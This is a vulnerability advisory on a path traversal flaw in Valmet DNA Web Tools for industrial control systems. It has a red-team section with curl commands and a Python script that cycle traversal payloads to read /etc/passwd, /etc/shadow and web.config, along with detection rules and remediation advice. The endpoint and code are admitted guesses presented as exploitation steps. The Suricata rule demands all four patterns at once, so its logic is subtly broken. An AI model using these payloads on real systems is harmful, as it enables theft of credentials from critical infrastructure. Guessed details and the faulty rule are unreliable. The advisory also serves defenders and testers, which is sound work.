CVE-2025-15577

Executive Summary

CVE-2025-15577 is a critical path traversal vulnerability in Valmet DNA Web Tools, affecting versions C2022 and older. An unauthenticated attacker can manipulate a URL to achieve arbitrary file read access, potentially exposing sensitive configuration files, credentials, and operational data within industrial control system (ICS) environments. The vulnerability has a CVSS score of 0.0 (likely unassigned or placeholder), but based on the description, it poses a high risk to confidentiality. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for unpatched systems.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary industrial control system (ICS) web application from Valmet, typically deployed in critical infrastructure environments such as power plants, pulp and paper mills, and other process automation settings. The lack of a patch and public exploit details increases supply chain risk for organizations relying on Valmet DNA Web Tools.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, a reasonable assessment based on the vulnerability description yields the following vector:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – Unauthenticated.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): High (H) – Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) – No write capability.
• Availability (A): None (N) – No denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Estimated Base Score: 7.5 (High)

Threat Level: High. The vulnerability is remotely exploitable without authentication, and while it only affects confidentiality, the potential exposure of ICS credentials, configuration files, and process data can lead to further compromise of industrial control systems.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the Valmet DNA Web Tools application. The application fails to properly sanitize user-supplied input in URL parameters, allowing an attacker to use ../ sequences to navigate outside the web root directory.

Attack Vector: An unauthenticated attacker sends a crafted HTTP GET request to the vulnerable endpoint, manipulating a file path parameter to include path traversal sequences. For example:

GET /WebTools/../../../../etc/passwd HTTP/1.1
Host: target-victim.com

Root Cause: The web application does not validate or sanitize the path parameter before using it in file system operations. The application likely uses a function like File.ReadAllText() or file_get_contents() without checking for ../ sequences.

Impact:

• Exposure of /etc/passwd, /etc/shadow, or Windows SAM files.
• Reading of application configuration files containing database credentials, API keys, or Active Directory service account passwords.
• Access to process logs, alarm history, and other operational data that could aid in further attacks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is described generically.

Vulnerable Code (C#/ASP.NET example):

public ActionResult GetFile(string path)
{
    string fileContent = System.IO.File.ReadAllText(path);
    return Content(fileContent);
}

Patched Code (Hypothetical):

public ActionResult GetFile(string path)
{
    string safePath = Path.GetFullPath(Path.Combine(Server.MapPath("~/WebTools"), path));
    if (!safePath.StartsWith(Server.MapPath("~/WebTools")))
    {
        return HttpNotFound();
    }
    string fileContent = System.IO.File.ReadAllText(safePath);
    return Content(fileContent);
}

The patched version uses Path.GetFullPath to resolve the absolute path and then checks that it starts with the allowed base directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

• Target: Valmet DNA Web Tools C2022 running on Windows Server 2019.
• Attacker: Kali Linux with Burp Suite or curl.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /WebTools/GetFile?path=).
2. Craft a request to read a sensitive file:

   curl "http://target-victim.com/WebTools/GetFile?path=..\..\..\Windows\System32\drivers\etc\hosts"
   

3. For Linux-based deployments (if applicable):

   curl "http://target-victim.com/WebTools/GetFile?path=../../../../etc/passwd"
   

4. Enumerate further files to extract credentials or configuration data.

Automation Script (Python):

import requests

target = "http://target-victim.com/WebTools/GetFile"
payloads = [
    "../../../../etc/passwd",
    "../../../../etc/shadow",
    "../../../../Windows/System32/drivers/etc/hosts",
    "../../../../inetpub/wwwroot/web.config"
]

for payload in payloads:
    r = requests.get(target, params={"path": payload})
    if r.status_code == 200 and len(r.text) > 0:
        print(f"[+] Success: {payload}")
        print(r.text[:500])

Blue Team (Defense)

Detection:

• Monitor web server logs for ../ or ..\ patterns in URL parameters.
• Alert on requests to sensitive file paths (e.g., /etc/passwd, web.config).

Mitigation:

• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Restrict file system permissions so the web application runs with minimal privileges.
• Apply input validation to reject any path containing .. or absolute paths.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests containing ../ or ..\ in the query string.
• Requests to endpoints like /WebTools/GetFile, /WebTools/Download, or similar.
• Outbound connections from the web server to unknown IPs (if exfiltration occurs).

File System IOCs:

• Unexpected access to files outside the web root (e.g., /etc/passwd, C:\Windows\System32\drivers\etc\hosts).
• Modified web server logs showing successful traversal attempts.

Log IOCs:

• Web server logs with status code 200 for requests containing ../.
• Application logs showing file read errors for paths outside the allowed directory.

Detection Engineering

YARA Rule

rule CVE_2025_15577_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Valmet DNA Web Tools"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15577"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "web.config"
        $sensitive3 = "boot.ini"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-15577 Path Traversal Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests with path traversal patterns targeting Valmet DNA Web Tools
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '/etc/passwd'
            - 'web.config'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in some applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-15577 Path Traversal Attempt"; flow:to_server,established; content:"../"; http_uri; nocase; content:"..\\"; http_uri; nocase; content:"/etc/passwd"; http_uri; nocase; content:"web.config"; http_uri; nocase; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems: If possible, disconnect Valmet DNA Web Tools from untrusted networks (e.g., the internet). Place behind a VPN or jump host.
2. Apply WAF rules: Block requests containing ../ or ..\ in URL parameters.
3. Restrict file permissions: Ensure the web application runs with a low-privileged account that cannot read sensitive system files.

Long-Term Fix:

• Since no official patch is available, contact Valmet support for a hotfix or upgrade to a patched version (if released).
• Implement input validation in the application code to reject paths with traversal sequences.
• Use a chroot jail or application sandbox to limit file system access.

Compensating Controls:

• Enable detailed logging and monitoring for file access anomalies.
• Conduct regular vulnerability scans and penetration tests on ICS web interfaces.

Valters IT